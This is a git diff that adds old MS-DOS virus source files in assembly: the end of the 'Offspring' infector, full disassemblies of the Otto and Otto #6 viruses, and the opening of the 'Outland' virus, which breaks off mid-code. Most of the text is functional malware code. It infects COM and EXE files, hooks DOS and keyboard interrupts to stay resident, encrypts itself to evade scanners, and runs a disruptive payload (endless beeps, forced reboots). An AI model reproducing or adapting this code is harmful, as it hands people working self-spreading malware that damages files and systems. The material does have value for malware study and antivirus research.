21h + + xor ax,ax ; seg 0 + mov es,ax + mov dx,1010101010101010b ; lights + chg_lights: ; Infinite loop to change keyboard + mov word ptr es: [416h],dx ; 0040:0016h = keyb flags + ror dx,1 ; rotate bits + mov cx,0101h ; scan code/ascii + mov ah,05h ; push a beep onto keyb buf + int 16h + mov ah,10h ; Read key back so we don't fill + int 16h ; up the keyboard buffer + int 5h ; Print-Screen + mov ax,0a07h ; Write BEEP to screen + xor bh,bh + mov cx,1 + int 10h + mov ah,86h ; Delay + mov cx,0002h + int 15h + + jmp chg_lights + + no_display: + + call install ; check if installed, if not install + + cmp byte ptr vtype[bp],parastic + je com_return + + mov bx,(offset vend+50) ; Calculate memory needed + mov cl,4 ; divide by 16 + shr bx,cl + inc bx + mov ah,4ah + int 21h ; Release un-needed memory + + lea dx,file_dir-1[bp] ; Execute the original EXE + lea bx,par_blk[bp] + mov ax,4b00h + int 21h + + mov ah,4ch ; Exit + int 21h + + com_return: + + mov si,bp + mov cx,4 ; Restore original first + add si,offset org_bytes ; five bytes of COM file + mov di,0100h + cld + rep movsb + + mov ax,0100h ; Simulate CALL return to 0100h + push ax + ret + +main endp + +;-------------------------------------- +; INSTALL - Install the virus +;-------------------------------------- + +install proc + + mov ah,signal + int 21h + cmp ah,reply + je no_install + + mov ax,cs + dec ax + mov ds,ax + cmp byte ptr ds: [0],'Z' ;Is this the last MCB in + ;the chain? + jne no_install + + + mov ax,ds: [3] ;Block size in MCB + sub ax,190 ;Shrink Block Size-quick estimate + mov ds: [3],ax + + mov bx,ax + mov ax,es + add ax,bx + mov es,ax ;Find high memory seg + + mov si,bp + add si,0100h + mov cx,(offset vend - offset start) + mov ax,ds + inc ax + mov ds,ax + mov di,100h ; New location in high memory + cld + rep movsb ; Copy virus to high memory + + push es + pop ds + xor ax,ax + mov es,ax ; null es + mov ax,es: [21h*4+2] + mov bx,es: [21h*4] + mov ds: old21_seg,ax ; Store segment + mov ds: old21_ofs,bx ; Store offset + + cli + + mov es: [21h*4+2],ds ; Save seg + lea ax, new21 + mov es: [21h*4],ax ; off + + sti + + no_install: + push cs ; Restore regs + pop ds + push cs + pop es + + ret +install endp + +;-------------------------------------------------------------------- +; INT 21h +;--------------------------------------------------------------------- + +new21 proc ; New INT 21H handler + + cmp ah, signal ; signaling us? + jne no + mov ah,reply ; yep, give our offspring what he wants + jmp end_21 + no: + cmp ah, 3bh ; set dir func? + je run_res + cmp ah,0eh ; set disk func? + je run_res + + jmp end_21 + + run_res: + pushf + push ax ; Push regs + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + push sp + push ss + + push cs + pop ds + + xor ax,ax ; nullify ES + mov es,ax + + cmp byte ptr add_mem,1 ; Restore system conventional mem size? + je rel_mem ; + cmp ah,48h ; alloc. mem block? If so we subtract 3k from + je set_mem ; total system memory. + + jmp no_mem_func + + set_mem: + sub word ptr es: [413h],3 ; Subtract 3k from total sys mem + inc byte ptr add_mem ; make sure we know to add this back + jmp no_mem_func + rel_mem: + add word ptr es: [413h],3 ; Add 3k to total sys mem + dec byte ptr add_mem + + + no_mem_func: + mov ah,2fh + int 21h ; Get the DTA + + mov ax,es + mov word ptr old_dta,bx + mov word ptr old_dta+2,ax + push cs + pop es + + call resident ; Call infection kernal + + mov dx,word ptr old_dta + mov ax,word ptr old_dta+2 + mov ds,ax + mov ah,1ah + int 21h ; Restore the DTA + + pop ss ; Pop regs + pop sp + pop es + pop ds + pop bp + pop si + pop di + pop dx + pop cx + pop bx + pop ax + popf + end_21 : + db 0eah ; jump to original int 21h +old21_ofs dw 0 ; Offset of old INT 21H +old21_seg dw 0 ; Seg of old INT 21h +new21 endp ; End of handler + +;------------------------ +; Resident - This is called from the INT 21h handler +;----------------------------- +resident proc + + mov byte ptr vtype,spawn + mov word ptr set_bp,0000 ; BP=0000 on load + mov byte ptr inf_count,0 ; null infection count + mov fname_off, offset fname1 ; Set search for *.EXE + mov word ptr mov_di,offset enc_data+2 + + find_first: + mov word ptr vend,0 ; Clear ff/fn buffer + lea si, vend + lea di, vend+2 + mov cx, 22 + cld + rep movsw + + ; Set DTA address - This is for the Findfirst/Findnext INT 21H functions + mov ah, 1ah + lea dx, vend + int 21h + + mov ah, 4eh ; Findfirst + mov cx, 0 ; Set normal file attribute search + mov dx, fname_off + int 21h + + jnc next_loop ; if still finding files then loop + jmp end_prog + + next_loop : + cmp byte ptr vtype, parastic ; parastic infection? + je start_inf ; yes, skip all this + + mov ah,47h + xor dl,dl + lea si,file_dir + int 21h + + cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+ + je ok_find ; for spawning infections + jmp find_file + + ok_find: + xor bx,bx + lm3 : ; find end of directory name + inc bx + cmp file_dir[bx],0 + jne lm3 + + mov file_dir[bx],'\' ; append backslash to path + inc bx + + mov cx,13 ; append filename to path + lea si,vend[f_name] + lea di,file_dir[bx] + cld + rep movsb + + xor bx,bx + mov bx,1eh + + loop_me: ; search for filename ext. + inc bx + cmp byte ptr vend[bx], '.' + jne loop_me + + inc bx ; change it to COM + mov word ptr vend [bx],'OC' + mov byte ptr vend [bx+2],'M' + + + start_inf: + + cmp byte ptr vtype, parastic ; parastic infection? + je parastic_inf ; yes.. so jump + +;-------------------------------------- +; Spawning infection + + + lea dx, vend[f_name] + mov ah, 3ch ; Create file + mov cx, 02h ; READ-ONLY + or cx, 01h ; Hidden + int 21h ; Call INT 21H + jnc contin ; If Error-probably already infected + jmp no_infect + contin: + + inc inf_count + mov bx,ax + + jmp encrypt_ops +;---------------------------------------- +; Parastic infection + + parastic_inf : + + cmp word ptr vend+f_sizeh,400h + jge cont_inf2 + jmp no_infect + + cont_inf2: + + lea si,vend+f_name ; Is Command.COM? + lea di,com_name + mov cx,11 + cld + repe cmpsb + + jne cont_inf0 ; Yes, don't infect + jmp no_infect + + cont_inf0: + + mov ax,3d02h ; Open file for reading & writing + lea dx,vend+f_name ; Filename in FF/FN buffer + int 21h + + jnc cont_inf1 ; error, skip infection + jmp no_infect + + cont_inf1: + + + mov bx,ax + + mov ah,3fh ; Read first bytes of file + mov cx,04 + lea dx,org_bytes + int 21h + + cmp word ptr org_bytes,0e990h + jne cont_inf + mov ah,3eh + int 21h + jmp no_infect + +cont_inf: + inc inf_count + mov ax,4202h ; Set pointer to end of file, so we + xor cx,cx ; can find the file size + xor dx,dx + int 21h + + mov word ptr set_bp,ax ; Change the MOV BP inst. + add ax, offset enc_data+2 + mov word ptr mov_di,ax ; chg mov di,xxxx + + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + + mov ax,word ptr vend+f_sizeh + sub ax,4 + mov word ptr new_jmp+1,ax + + + mov ah,40h + mov cx,4 + lea dx,new_code + int 21h + + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + + +encrypt_ops: + +;----------------------------- +; Change encryptions ops + + push bx + + cmp pad_bytes,50 + je reset_pad + inc word ptr pad_bytes ; Increase file size + inc word ptr b_wr + jmp pad_ok + reset_pad: + mov ax,pad_bytes + sub word ptr b_wr,ax + xor ax,ax + mov pad_bytes,ax + + pad_ok: + + cmp inc_op,47h ; change ops from DI to SI + jne set2 + dec inc_op + dec byte ptr xor_op+1 + dec di_op + dec byte ptr enc_addr + dec byte ptr enc_add+1 + jmp chg_three + set2: + inc inc_op + inc byte ptr xor_op+1 + inc di_op + inc byte ptr enc_addr + inc byte ptr enc_add+1 + +chg_three: + mov ah,inc_op + xor cx,cx + lea di,sw_byte3 +chg_four: + xor bx,bx ; Switch INC xx's location + cmp word ptr [di],9090h + je mov_pos + inc bx + inc bx + cmp byte ptr [di+1],90h ; is second byte not 90h + je mov_pos + dec bx +mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd) + mov byte ptr [di+2],90h ; to NOP + mov byte ptr [di+bx],ah ; place inc xx in other byte + + lea di,sw_byte4 + inc cx + cmp cx,1 + je chg_four +;----------------------- +; Get random XOR number, save it, copy virus, encrypt code + +d2: + mov ah,2ch ; + int 21h ; Get random number from clock - millisecs + + mov word ptr xor_op+2,dx ; save encryption # + + + mov si,0100h + lea di,vend+50 ; destination + mov cx,offset vend-100h ; bytes to move + cld + rep movsb ; copy virus outside of code + + enc_addr: + mov di,offset vend + enc_add: + add di,offset enc_data-100h+52 ; offset of new copy of virus + +go_enc: + mov byte ptr ret_byte,0c3h + call encrypt ; encrypt new copy of virus + mov byte ptr ret_byte,90h + +;---------------------------------------- +; Write and close new infected file + + pop bx + mov cx, offset vend-100h ; # of bytes to write + add cx, pad_bytes + lea dx, vend+50 ; Offset of buffer + mov ah, 40h ; -- our program in memory + int 21h ; Call INT 21H function 40h + + mov ax,5701h ; Restore data/time + mov cx,word ptr vend[f_time] + mov dx,word ptr vend[f_date] + int 21h + + +close: + mov ah, 3eh + int 21h + + +no_infect: + +; Find next file + find_file : + + cmp inf_count, max_inf + je end_prog + mov ah,4fh + int 21h + jc end_prog + jmp next_loop + + + end_prog: + exit : + cmp inf_count,0 ; Start parastic infection on next run + jne find_done + cmp byte ptr vtype, parastic ; Parastic infection done? + je find_done + mov fname_off, offset fname2 ; Point to new filespec + mov byte ptr vtype, parastic ; virus type = parastic + jmp find_first + + + find_done: + mov byte ptr vtype,spawn + mov fname_off, offset fname1 + ret +resident endp + +vtype db spawn ; Infection type +rot_num dw 0000 ; Used when replacing bytes with OP_SET +inf_count db 0 ; How many files we have infected this run +com_name db 'COMMAND.COM' ; obvious +new_code db 90h +new_jmp db 0e9h,00,00 ; New Jump +org_bytes db 5 dup(0) ; original first five bytes of parastic inf. +pad_bytes dw 0 ; Increase in viru size +add_mem db 0 ; Add memory back? +old_dta dd 0 ; Old DTA Segment:Address +inc_op db 47h ; INC DI (47h) or INC SI (46h) + +copyr db '(c)1993 negoriV' ; my copyright +vname db 0ah,0dh,'OFFSPRING V0.8','$' + +fname1 db '*.EXE',0 ; Filespec +fname2 db '*.COM',0 ; Filespec +fname_off dw fname1 ; Offset of Filespec to use +times_inc db 0 ; # of times encryption call incremented +sl db '\' ; Backslash for directory name +file_dir db 64 dup(0) ; directory of file we infected +file_name db 13 dup(0) ; filename of file we infected + +par_blk dw 0 ; command line count byte -psp +par_cmd dw 0080h ; Point to the command line -psp +par_seg dw 0 ; seg + dw 05ch ; Use default FCB's in psp to save space +par1 dw 0 ; + dw 06ch ; FCB #2 +par2 dw 0 ; +vend: ; End of virus + +cseg ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.otto.asm b/MSDOS/Virus.MSDOS.Unknown.otto.asm new file mode 100644 index 00000000..1a187506 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.otto.asm @@ -0,0 +1,284 @@ +;****************************************************************************** +; Otto Virus +; +; Disassembled by Data Disruptor +; (c) 1992 RABID International Development +; (May.12.92) +; +; Original virus written by YAM (Youth Against McAfee) 1992 +; +; Notes: Otto Schtuck (Pardon the spelling?) claims that this is a super- +; encrypting virus. Well, it took me all of two minutes to get the virus +; into it's disassembled form. Try again guys. It wasn't half bad. For +; this virus, I could not use the techniques outlined in my article in +; Censor Volume 1~, therefore, I had to use another method (which, +; coincidentally is a lot better). Be expecting "Decrypting Viruses +; Part ][" in the next issue of Censor (Slated for release in early +; June). +; +; As always, these disassemblies compile but do not run. They are +; intended to be used for "Hmm. Let's see how that group program's" +; purposes only. +; +; Data Disruptor +; RABID +; +; ~ I don't know the reason why my method outlined in Censor I didn't work. +; It could have had something to do with SMARTDRV and FSP conflicting in +; memory. Nonetheless, another method was found. +; +; (Ok. So it's not one of my best disassemblies, but at least it shows how +; one can decrypt encrypted viruses...) +; +; A scan for this virus is; +; +; # Otto - Written by Otto Schtuck +; "8A 24 32 E0 88 24 46" Otto Schtuck [Otto] *NEW* +; +; It does no damage, does not hide it's file increase, but preserves the time +; & date stamp. It does not display any message. It is a transient COM infector +; that will infect one file in the current directory each time it is run. +; +;****************************************************************************** + +file_handle equ 9Eh ; File handle location +enc_bit equ 0FFh ; Encryption bit + +code segment byte public + assume cs:code, ds:code + org 100h + +;--- +; Length of virus is 379 bytes... +;--- + +otto_vir proc far +start: + jmp short virus_entry ; Virus entry here +;--- +; This hunk of shit here looks encrypted. I couldn't be bothered to go any +; further... +;--- + +crypt_1 db 90h + db 12h, 44h, 75h, 64h, 6Eh,0C1h + db 0Eh,0EDh, 70h, 05h, 34h, 5Dh + db 77h,0EBh, 35h,0D4h, 35h, 46h + db 34h, 68h, 7Ch,0A2h, 05h,0C1h + db 24h, 49h, 34h, 4Eh, 6Ch,0F1h + db 33h,0D5h, 20h, 5Ch, 7Bh, 78h + db 08h, 88h +crypt_2 db 69h + db 0C3h, 79h + db 08h, 25h, 33h, 3Ch + db 0B0h, 61h,0F2h, 11h, 6Ah, 5Dh + db 4Eh, 25h,0CBh, 2Fh,0D4h, 35h + db 5Ah, 7Ah, 6Bh, 71h,0EBh, 2Eh + db 0CEh, 31h, 44h, 19h, 00h, 1Fh +virus_entry: + cmp al,[bx+di-14h] + popf ; Pop flags + or ax,bp + add [bx+si],al + pop si + push si + sub si,108h + pop ax + sub ax,100h + mov ds:enc_bit,al + push si + mov cx,17Bh ; 379 bytes + add si,offset crypt_2 + +decrypt: + mov ah,[si] + xor ah,al + mov [si],ah + inc si + ror al,1 ; Rotate + loop decrypt + + pop si + mov ax,enc_ax[si] + mov dh,enc_dh[si] + mov word ptr ds:[100h],ax + mov crypt_1,dh + lea dx,filespec ; Set filespec + xor cx,cx ; Search for normal files + mov ah,4Eh ; Search for first match +search_handler: + int 21h + jnc got_file + jmp quit +;--- +; Otto! If you want to save some bytes, you don't have to open the file in +; order to get it's time. There are other ways around this... +;--- + +got_file: + mov dx,file_handle ; Get file handle from DTA + mov ax,3D02h ; Open file with read/write + int 21h + mov bx,ax ; Save file handle in BX + mov ax,5700h + int 21h ; Get time/date from file + cmp cl,3 ; Check timestamp + jne found_host ; Not equal to our timestamp? + mov ah,3Eh ; Then close the file and... + int 21h ; + mov ah,4Fh ; ...Search for next match + jmp short search_handler +found_host: + push cx + push dx + call move_ptr_start ; Move file pointer to start + lea dx,[si+three_bytes] ; Set buffer space for 3 bytes + mov cx,3 ; Set for 3 bytes + mov ah,3Fh ; Read in file + int 21h + xor cx,cx ; Set registers to... + xor dx,dx ; ...absolute end of file + mov ax,4202h + int 21h ; Move file point to end + mov word ptr ptr_loc[si],ax + sub ax,3 + mov adj_ptr_loc[si],ax + call move_ptr_start + add ax,6 + mov work[si],al + mov cx,word ptr ptr_loc[si] +;--- +; Set buffer space at end of the file so that we don't waste space in the +; virus +;--- + lea dx,[si+2A4h] + mov ah,3Fh ; Read in file + int 21h + push si + mov al,work[si] + add si,offset copyright+4 + call encrypt + pop si + call move_ptr_start + mov cx,word ptr ptr_loc[si] + lea dx,[si+2A4h] ; Load effective addr + mov ah,40h ; + int 21h + jnc check_write ; + jmp short quit +check_write: + lea dx,[si+105h] ; Load effective addr + mov cx,24h + mov ah,40h ; + int 21h + push si + mov cx,17Bh ; 379 bytes + mov di,si + add di,offset copyright+1 + add si,offset crypt_2 + rep movsb ; + pop si + push si + mov al,work[si] + mov cx,17Bh ; 397 bytes + add si,offset copyright+1 + call encrypt + pop si + mov cx,17Bh ; 397 bytes + lea dx,[si+2A4h] ; Set buffer to encrypted data + mov ah,40h ; Write out the virus to the + ; file + int 21h + jc quit ; Jump if carry Set + call move_ptr_start ; Move file pointer to start + lea dx,[si+new_jump] ; Load DX with the new jump + mov ah,40h ; + mov cx,3 ; Set for 3 bytes + int 21h ; Write out the new jump + jc quit ; Jump if carry Set + pop dx + pop cx + mov cl,3 ; Set low order time with + ; our identity byte + mov ax,5701h + int 21h ; Set file date/time + mov ah,3Eh ; + int 21h ; Close the file + +;--- +; Hmm. This routine looks a bit familiar... Maybe it was "borrowed" from the +; RAGE Virus we wrote... +;--- + +quit: + push si ; Save our SI + mov al,ds:enc_bit ; Load AL with value of the + ; encryption bit + xor cx,cx ; + add cx,si ; Load CX with original 3 bytes + add cx,3 ; Adjust value for offset of + ; virgin code + mov bp,103h ; Load BP with offset of 103h + ; Where the virgin code starts + mov si,bp ; Copy this location to SI + call encrypt ; Encrypt this portion of the + ; code + pop si ; Restore original SI + mov bp,offset start ; Load BP with offset of start + ; of the virgin code + jmp bp ; Jump to start of virgin code +otto_vir endp + +encrypt proc near +encryption: + mov ah,[si] + xor ah,al + mov [si],ah + inc si + ror al,1 ; Rotate + loop encryption + + retn +encrypt endp + + db 'OTTO VIRUS written by:OTTO ' +enc_ax dw 4353h ; Encryption shit loaded in AX +enc_dh db 48h ; Encryption shit loaded in DH + db 54h +adj_ptr_loc dw 4355h ; Adjusted file pointer + ; location (ptr_loc-3 bytes) +work db 4Bh ; A work buffer +ptr_loc db 20h ; File pointer location +copyright db 'COPYRIGHT MICROSHAFT INDUSTRIES ' + db '1992 (tm.)PQR' +;--- +; Everything below here appeared as a bunch of hex shit I had to convert... +;--- + +move_ptr_start proc near + mov ax,4200h ; Move fp to start (B80042) + xor cx,cx ; (33C9) + xor dx,dx ; (33D2) + int 21h ; Call DOS (CD21) + pop dx ; (5A) + pop cx ; (59) + pop ax ; (58) + ret ; (C3) +move_ptr_start endp + +filespec db '*.COM',0 ; Location 295h + +three_bytes db 0ebh,46h,90h ; jmp 148 (Location 29Bh) +new_jump db 0e9h,4ah,00h ; jmp 150 (Loc 29Eh) + push ax ; Loc 2A1h + dec bp ; Loc 2A2h + db 00h ; Loc 2A3h + +code ends + + + + end start + + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.otto6.asm b/MSDOS/Virus.MSDOS.Unknown.otto6.asm new file mode 100644 index 00000000..d192837b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.otto6.asm @@ -0,0 +1,337 @@ +; Otto #6 Virus, By Youth Against McAfee +; Disassembly By The Attitude Adjuster of Virulent Graffiti for +; Infectious Diseases 3 and some other uses... + +; Assemble with: TASM /m2 otto5.asm for a byte for byte matchup +; TLINK /t otto5.obj + +; The assembled code will NOT execute... a big thanks to YAM for that one! The +; only workaround I got is to trace thru til the mov [00FFh], al, and just +; move the ip ahead to startencrypt! + +.model tiny +.code + org 100h +start: + db 0e9h, 02, 00 ; jmp near virusentry + + nop ; they had to be here + nop ; in the original + +virusentry: + call getdelta ; get delta ofs +getdelta: + pop si + push si + + sub si,offset getdelta ; sub original ofs + + pop ax ; delta in ax + sub ax,100h + + mov ds:[00FFh],al ; ds:00FFh == al + push si ; save delta + + mov cx,260h ; ieterations + add si,offset startencrypt +cryptloop: + xor [si],al ; xor + inc si + rol al,1 ; rotate + loop cryptloop ; loop if cx > 0 + pop si ; delta in si + +startencrypt: + mov ax,word ptr ds:[first3+si] ; restore first + mov dh,byte ptr ds:[first3+si+2] ; 3 bytes + mov word ptr ds:[100h],ax + mov byte ptr ds:[102h],dh + + lea dx,[si+file] ; find *.COM + xor cx,cx + mov ah,4Eh +findfirstnext: + int 21h + + jnc checkinfected ; carry? + jmp takeithome ; no more files + +checkinfected: ; check file + mov dx,offset 9Eh ; filename in default + mov ax,3D02h ; dta + int 21h ; open file r/w + + mov bx,ax ; handle in BX + + mov ax,5700h ; get file date + int 21h + + cmp cl,3 ; cl = 3? + jne infectitthen ; nope + + mov ah,3Eh ; infected, close + int 21h + + mov ah,4Fh ; find next *.COM + jmp short findfirstnext ; again + +infectitthen: ; infect the file + push cx ; push time + push dx ; push date + call lseekstart ; lseek beginning + + lea dx,[si+first3] ; buffer at first3 + mov cx,3 ; read 3 bytes + mov ah,3Fh + int 21h + + xor cx,cx ; lseek the end + xor dx,dx ; fileside DX:AX + mov ax,4202h + int 21h + ; 4D1h + mov word ptr ds:[fsize+si],ax ; save fsize + sub ax,3 ; calculate jump + mov word ptr ds:[fsize2+si],ax + call lseekstart + add ax,6 ; fsize+3 + + mov byte ptr ds:[lob+si],al ; lob of fsize+3 + mov cx,word ptr ds:[fsize+si] ; size of file + lea dx,[si+heap] ; point at buffer + mov ah,3Fh + int 21h ; read + + push si ; push delta + mov al,byte ptr ds:[lob+si] ; lod of fsize+3 + add si,offset ds:[heap+3] ; point at code + call encrypt ; encrypt original + pop si ; pop delta + call lseekstart ; lseek beginning + + mov cx,word ptr ds:[fsize+si] ; fsize + lea dx,[si+heap] ; buffer at heap + mov ah,40h ; write file + int 21h + + jnc finishinfect ; error (attributes) + jmp short takeithome ; yes +finishinfect: + lea dx,[si+virusentry] ; write encrypter + mov cx,startencrypt-virusentry ; to file + mov ah,40h + int 21h + + push si ; push delta + mov cx,heap-startencrypt ; virus length-crypt + ; mov di,si ; delta in di + db 89h, 0F7h ; alternate encoding + add di,offset ds:[heap] ; point at heap + add si,offset ds:[startencrypt] ; point at virus + rep movsb ; copy code to heap + pop si ; pop delta + + push si ; push delta + mov al,byte ptr ds:[lob+si] ; lob of fsize+3 + mov cx,heap-startencrypt ; virus length + add si,offset ds:[heap] ; buffer at heap + call encrypt ; encrypt heap + pop si ; pop delta + + mov cx,heap-startencrypt ; virus length + lea dx,[si+heap] ; buffer at heap + mov ah,40h ; write virus + int 21h + jc takeithome ; error? + + call lseekstart + + lea dx,[si+jump] ; buffer at jump + mov ah,40h ; write jump + mov cx,3 + int 21h + jc takeithome ; error? + + pop dx ; pop date + pop cx ; pop time + mov cl,3 ; set infected flag + mov ax,5701h ; set time + int 21h + + mov ah,3Eh ; close file + int 21h + +takeithome: + push si ; push delta + mov al, byte ptr ds:[00FFh] ; saved xor byte + xor cx,cx + ; add cx,si ; the pricks use + db 01, 0f1h ; alternate encoding + add cx,3 ; ieterations in cx + mov bp,103h + mov si,bp ; unencrypt old code + call encrypt + pop si ; pop delta + + mov bp,100h ; where to RET to + + mov ax,0B0Bh ; RuThereCall + int 9 + + cmp ax,0BEEFh ; if beefy, it's + je skipinstall ; installed + + xor ax, ax + mov ds, ax ; interrupt table + lds bx, dword ptr ds:[9*4] ; Int 9 -> DS:BX + + push bp ; push ret addr + mov bp,offset ds:[old9] ; JMP FAR PTR + mov cs:[bp+si+1],bx ; offset + mov cs:[bp+si+3],ds ; segment + pop bp ; pop ret addr + + mov bx,es + dec bx ; our MCB paragraph + mov ds,bx + sub word ptr ds:[0003],80h ; allow for us to get + ; some memory + mov ax, word ptr ds:[0012h] ; 1st unused segment + sub ax,80h + mov word ptr ds:[0012h],ax ; replace valu + + mov es,ax ; es = our new seg + push cs ; ds = cs + pop ds + xor di,di ; es:0000 = dest. + ; mov bx,si ; more alternate + db 89h, 0f3h ; encoding!! + lea si,[bx+our9] ; buffer at our9 + mov cx,200 ; more than enough + rep movsb ; copy 200 bytes + + mov ds,cx ; cx = 0000 + mov word ptr ds:[9*4],0 ; offset (int 9) + mov word ptr ds:[9*4+2],es ; segment (int 9) +skipinstall: + push cs ; restore segments + push cs + pop ds + pop es + push bp ; return to 100h + ret + +encrypt: ; encrypt + xor [si],al ; xor + inc si + rol al,1 ; rotate left + loop encrypt ; Loop if cx > 0 + ret + + db 'OTTO6 VIRUS, <<',0E9h,53h,'>>, YAM, ' + db 'COPYRIGHT MICROSHAFT INDUSTRIES 1992 (tm.)' + +lseekstart: + push ax + push cx + push dx + mov ax, 4200h ; lseek beginning + xor cx,cx + xor dx,dx + int 21h + pop dx + pop cx + pop ax + ret + +our9: ; our int9 handler + cmp ax, 0B0Bh + jnz NotRuThere ; not an ruthere + mov ax, 0BEEFh + IRet ; int return +NotRuThere: + push ax ; save registers + push bx + push ds + + xor ax,ax ; BIOS segment + mov ds,ax + in al,60h ; get keyboard input + mov bl, byte ptr ds:[0417h] ; get shift status + test bl,08 ; alt pressed? + jz removeregistersandleave ; no + test bl,04 ; ctrl pressed? + jz whyisthishere ; no + cmp al, 53h ; delete? + jnz removeregistersandleave ; nope! + and bl,0F3h ; mask off bits + mov byte ptr ds:[0417h],bl ; place in bios + jmp onwardbuttheads ; go on + +whyisthishere: + cmp al,4Ah ; why is this here? + jne removeregistersandleave +removeregistersandleave: + pop ds ; remove registers + pop bx + pop ax + ; jmp returntoold9 ; more wierd + db 0e9h, 20h, 00 ; encoding! + +onwardbuttheads: + push cs ; ds = cs + pop ds + + mov ax,3 ; 80x25 text mode + int 10h + + mov ah,2 ; set cpos + mov bh,0 + mov dx,0A14h ; 10,20 + int 10h + + mov si,yamlogo-our9 ; point to logo +pointlessloop: + loop pointlessloop + + lodsb ; load string byte + + cmp al,0 ; end of string? + je coldbootus ; yes + + mov ah,0Eh ; display char in al + int 10h + + jmp short pointlessloop + +returntoold9: +old9 db 0EAh ; JMP FAR PTR + dd 00000000 ; Int 9h + +yamlogo db '<<',0E9h,53h,'>>, YAM, MICROSHAFT INDUSTRIES (tm.) 1992!' + db ' ',0 + +coldbootus: + mov dx,28h + mov ds,dx ; DS = 0028h + mov word ptr ds:[0072h],0 ; DS:0072h=0 + + ; the above does nothing, as the byte they are looking to modify is + ; the warm-boot status byte, at 0040:0072h... duh... + + db 0EAh ; JMP FAR PTR + db 00h, 00h, 0FFh, 0FFh ; Cold Boot Vector + +file db '*.COM',0 ; search wildcard + +first3 db 0CDh, 20h, 00h ; buffered 1st 3 + +jump db 0E9h ; jmp near +fsize2 db 50h, 01h + +lob db 56h ; lob of fsize+3 + +fsize db 53h, 01h ; filesize + +heap: + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.outland.asm b/MSDOS/Virus.MSDOS.Unknown.outland.asm new file mode 100644 index 00000000..e1879cb1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.outland.asm @@ -0,0 +1,1277 @@ +;************************ +;* * +;* O U T L A N D * +;* * +;* by Berkeley Breathed * +;* * +;* 5/24/1992 * +;* * +;* dist by Washington * +;* Post Writers Group * +;************************ + + +; +;The Outland Politically Incorrect Computer Virus +; +; +; +; + +code segment + assume cs:code,ds:code +copyright: + db 'Bill the Cat Lives! ',0 + +date_stamp: + dd 05249200h +checksum: + db 30 +; +; +; +; +; +; + +exit_exe: + mov bx,es + add bx,10h + add bx,word ptr cs:[si+call_adr+2] + mov word ptr cs:[si+patch+2],bx + inc bx ;dummy + mov bx,word ptr cs:[si+call_adr] + mov word ptr cs:[si+patch],bx + mov bx,es + add bx,10h + add bx,word ptr cs:[si+stack_pointer+2] + mov ss,ax ;dummy + mov ss,bx + mov sp,word ptr cs:[si+stack_pointer] + db 0eah ;JMP XXXX:YYYY +patch: + dd 0 + +; +; +; +; + + +exit_com: + mov di,100h + add si,offset my_save + movsb + movsw + mov sp,ds:[6] ;: + ;: + mov bx,ax ;dummy + xor bx,bx + push bx + jmp [si-11] ;si+call_adr-top_file + +; +; +; +nofdisk2: + jmp nofdisk +startup: + call relative +relative: + pop si ;SI = $ + sub si,offset relative + cld + cmp word ptr cs:[si+my_save],5a4dh + je exe_ok + cli + mov sp,si ;: + ;: + ;: + add sp,offset top_file+100h ;: + ;: + ;: + sti ;: + ;: + cmp sp,ds:[6] + jnc exit_com +exe_ok: + push ax + push es + push si + push ds + mov di,si + +; +; +; + + xor ax,ax + push ax + mov ds,ax + mov ax,cx ;dummy + les ax,ds:[13h*4] + mov word ptr cs:[si+fdisk],ax + mov word ptr cs:[si+fdisk+2],es + mov word ptr cs:[si+disk],ax + mov word ptr cs:[si+disk+2],es + mov ax,3344h ;dummy + mov ax,ds:[40h*4+2] ;: + ;: + ;: + cmp ax,0f000h ;: + ;: + ;: + jne nofdisk2 + mov word ptr cs:[si+disk+2],ax + mov ax,ds:[40h*4] + mov word ptr cs:[si+disk],ax + mov dl,80h + mov ax,ds:[41h*4+2] ;: + ;: + ;: + cmp ax,0f000h ;: + ;: + ;: + je isfdisk + cmp ah,0c8h + jc nofdisk + cmp ah,0f4h + jnc nofdisk + test al,7fh + jnz nofdisk + mov ds,bx ;dummy + mov ds,ax + cmp ds:[0],0aa55h + jne nofdisk + mov dl,ds:[2] +isfdisk: + mov ds,ax + xor dh,dh + mov cl,8 ;dummy + mov cl,9 + shl dx,cl + mov cx,dx + xor si,si +findvect: + lodsw ;: + ;: + cmp ax,0fa80h ; CMP DL,80h + jne altchk ; JNC ( ) + lodsw + cmp ax,6969h ;dummy + cmp ax,7380h + je intchk + jne nxt0 +altchk: + cmp ax,0c2f6h ;: + ;: + jne nxt ; TEST DL,80h + lodsw ; JNZ ( ) + cmp ax,7580h + jne nxt0 +intchk: + dec si ;dummy + inc si ;dummy + inc si ;: + ;: + lodsw ; INT 40h + cmp ax,40cdh + je found + sub si,3 +nxt0: + dec si + dec si +nxt: + inc si ;dummy + dec si ;dummy + dec si + loop findvect + jmp short nofdisk +found: + sub si,7 + mov word ptr cs:[di+fdisk],si + mov word ptr cs:[di+fdisk+2],ds +nofdisk: + mov si,di + nop ;dummy + pop ds + +;: +;: +;: + + les ax,ds:[21h*4] + mov word ptr cs:[si+save_int_21],ax + mov word ptr cs:[si+save_int_21+2],es + push cs + nop ;dummy + pop ds + cmp ax,offset int_21 + jne bad_func + xor di,di + mov cx,4433h ;dummy + mov cx,offset my_size +scan_func: + lodsb + scasb + jne bad_func + loop scan_func + mov es,ax ;dummy + pop es + jmp go_program + +;: +;: +;: +;: +;: +;: +;: +go_shit:jmp go_program + +bad_func: + pop es + mov ah,49h + call int21h + mov bx,0ffffh + mov ah,47h ;dummy + mov ah,48h + call int21h + sub bx,(top_bz+my_bz+1ch-1)/16+2 + jc go_shit + mov cx,es + stc + adc cx,bx + mov ah,4ah + call int21h + mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 + stc + sbb es:[2],bx + push es + mov es,cx + mov ah,33h ;dummy + mov ah,4ah + call int21h + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call mul_16 + mov bx,ax + mov cx,dx + pop ds + mov ax,7654h ;dummy + mov ax,ds + call mul_16 + add ax,ds:[6] + adc dx,0 + sub ax,bx + sbb dx,cx + jc 